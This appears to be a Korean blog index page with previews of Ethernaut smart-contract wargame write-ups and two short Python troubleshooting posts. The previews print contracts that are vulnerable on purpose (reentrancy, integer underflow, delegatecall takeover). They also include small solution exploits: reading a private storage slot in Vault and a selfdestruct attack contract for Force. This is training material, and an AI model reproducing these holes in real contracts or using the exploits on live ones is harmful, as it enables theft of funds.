본문 바로가기

전체 글

(117)
[Ethernaut] 10. Re-entrancy 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } func..
[Ethernaut] 9. King 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _ki..
파이썬 "List is not defiend" 에러 해결 리트 코드를 풀려고 템플릿을 vscode에 복붙했는데 다음과 같은 에러가 발생했다. 파이썬을 타입리스 언어로 인식하다보니 자료형 선언이 생소하게 느껴졌다. 파이썬 3.9 이후 부터는 내장 컬렉션형을 제네릭으로 사용가능하게 되어 나타난 것이다. 해결 방법 from typing import List
(Error)-command 'x86_64-linux-gnu-gcc' failed with exit status 1 해결 EC2에서 python3 가상 환경에서 패키지를 설치하는 도중에 다음과 같이 에러가 발생했다. 찾아본 결과 Python.h라는 헤더 파일이 없어서 gcc가 응용 프로그램을 빌드하는데 실패한 것이라고 한다. sudo apt-get install python3-dev python3-dev 패키지를 설치하니 에러가 해결되었다.
[Ethernaut] 8. Vault 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } 목표 unlock the contract. 방법 let pwd web3.eth.getStorageAt(await contract.address, 1, function(err, re..
[Ethernaut] 7. Force 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */} 목표 컨트랙트 지갑의 잔고를 0으로 만들어라 방법 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract ForceAttack { function attack( address payable _addr) public payable { selfdestruct(_addr); } } 해설
[Ethernaut] 6. Delegation 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate { address public owner; constructor(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external {..
[Ethernaut] 5. Token 소스코드 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _..